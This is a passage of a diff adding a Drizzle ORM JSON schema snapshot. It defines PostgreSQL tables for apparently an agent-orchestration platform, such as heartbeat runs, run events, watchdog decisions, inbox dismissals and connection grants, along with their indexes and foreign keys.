+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "goals_company_id_companies_id_fk": {
+          "name": "goals_company_id_companies_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_parent_id_goals_id_fk": {
+          "name": "goals_parent_id_goals_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "goals_owner_agent_id_agents_id_fk": {
+          "name": "goals_owner_agent_id_agents_id_fk",
+          "tableFrom": "goals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_events": {
+      "name": "heartbeat_run_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "bigserial",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "seq": {
+          "name": "seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stream": {
+          "name": "stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "level": {
+          "name": "level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "message": {
+          "name": "message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_events_run_seq_idx": {
+          "name": "heartbeat_run_events_run_seq_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "seq",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_run_idx": {
+          "name": "heartbeat_run_events_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_events_company_created_idx": {
+          "name": "heartbeat_run_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_events_company_id_companies_id_fk": {
+          "name": "heartbeat_run_events_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_events_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_events_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_run_watchdog_decisions": {
+      "name": "heartbeat_run_watchdog_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "evaluation_issue_id": {
+          "name": "evaluation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_run_watchdog_decisions_company_run_created_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_run_watchdog_decisions_company_run_snooze_idx": {
+          "name": "heartbeat_run_watchdog_decisions_company_run_snooze_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "snoozed_until",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_run_watchdog_decisions_company_id_companies_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_evaluation_issue_id_issues_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "evaluation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_run_watchdog_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_run_watchdog_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.heartbeat_runs": {
+      "name": "heartbeat_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_source": {
+          "name": "invocation_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'on_demand'"
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "wakeup_request_id": {
+          "name": "wakeup_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signal": {
+          "name": "signal",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_json": {
+          "name": "usage_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_json": {
+          "name": "result_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_before": {
+          "name": "session_id_before",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "session_id_after": {
+          "name": "session_id_after",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_run_id": {
+          "name": "external_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_pid": {
+          "name": "process_pid",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_group_id": {
+          "name": "process_group_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_started_at": {
+          "name": "process_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_at": {
+          "name": "last_output_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_seq": {
+          "name": "last_output_seq",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_output_stream": {
+          "name": "last_output_stream",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_output_bytes": {
+          "name": "last_output_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_run_id": {
+          "name": "retry_of_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_loss_retry_count": {
+          "name": "process_loss_retry_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_at": {
+          "name": "scheduled_retry_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scheduled_retry_attempt": {
+          "name": "scheduled_retry_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "scheduled_retry_reason": {
+          "name": "scheduled_retry_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_status": {
+          "name": "issue_comment_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_applicable'"
+        },
+        "issue_comment_satisfied_by_comment_id": {
+          "name": "issue_comment_satisfied_by_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_retry_queued_at": {
+          "name": "issue_comment_retry_queued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_state": {
+          "name": "liveness_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "liveness_reason": {
+          "name": "liveness_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "continuation_attempt": {
+          "name": "continuation_attempt",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_useful_action_at": {
+          "name": "last_useful_action_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_action": {
+          "name": "next_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "context_snapshot": {
+          "name": "context_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "heartbeat_runs_company_agent_started_idx": {
+          "name": "heartbeat_runs_company_agent_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_responsible_user_idx": {
+          "name": "heartbeat_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_liveness_idx": {
+          "name": "heartbeat_runs_company_liveness_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "liveness_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_last_output_idx": {
+          "name": "heartbeat_runs_company_status_last_output_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "last_output_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_status_process_started_idx": {
+          "name": "heartbeat_runs_company_status_process_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "process_started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_created_at_desc_idx": {
+          "name": "heartbeat_runs_company_created_at_desc_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_issue_created_idx": {
+          "name": "heartbeat_runs_company_ctx_issue_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_task_created_idx": {
+          "name": "heartbeat_runs_company_ctx_task_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "heartbeat_runs_company_ctx_taskkey_created_idx": {
+          "name": "heartbeat_runs_company_ctx_taskkey_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"context_snapshot\" ->> 'taskKey')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": false,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "heartbeat_runs_company_id_companies_id_fk": {
+          "name": "heartbeat_runs_company_id_companies_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_agent_id_agents_id_fk": {
+          "name": "heartbeat_runs_agent_id_agents_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk": {
+          "name": "heartbeat_runs_wakeup_request_id_agent_wakeup_requests_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "agent_wakeup_requests",
+          "columnsFrom": [
+            "wakeup_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk": {
+          "name": "heartbeat_runs_retry_of_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "heartbeat_runs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "retry_of_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.inbox_dismissals": {
+      "name": "inbox_dismissals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "item_key": {
+          "name": "item_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'dismiss'"
+        },
+        "dismissed_at": {
+          "name": "dismissed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "inbox_dismissals_company_user_idx": {
+          "name": "inbox_dismissals_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_item_idx": {
+          "name": "inbox_dismissals_company_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "inbox_dismissals_company_user_item_idx": {
+          "name": "inbox_dismissals_company_user_item_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "item_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "inbox_dismissals_company_id_companies_id_fk": {
+          "name": "inbox_dismissals_company_id_companies_id_fk",
+          "tableFrom": "inbox_dismissals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.connection_grants": {
+      "name": "connection_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_tenant": {
+          "name": "provider_tenant",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_secret_refs": {
+          "name": "credential_secret_refs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_agent_id": {
+          "name": "revoked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_by_user_id": {
+          "name": "revoked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_grants_company_connection_idx": {
+          "name": "connection_grants_company_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_subject_user_idx": {
+          "name": "connection_grants_subject_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_user_uq": {
+          "name": "connection_grants_user_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_grants_default_uq": {
+          "name": "connection_grants_default_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"connection_grants\".\"is_default\" = true and \"connection_grants\".\"kind\" = 'workspace'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_grants_company_id_companies_id_fk": {
+          "name": "connection_grants_company_id_companies_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "companies",
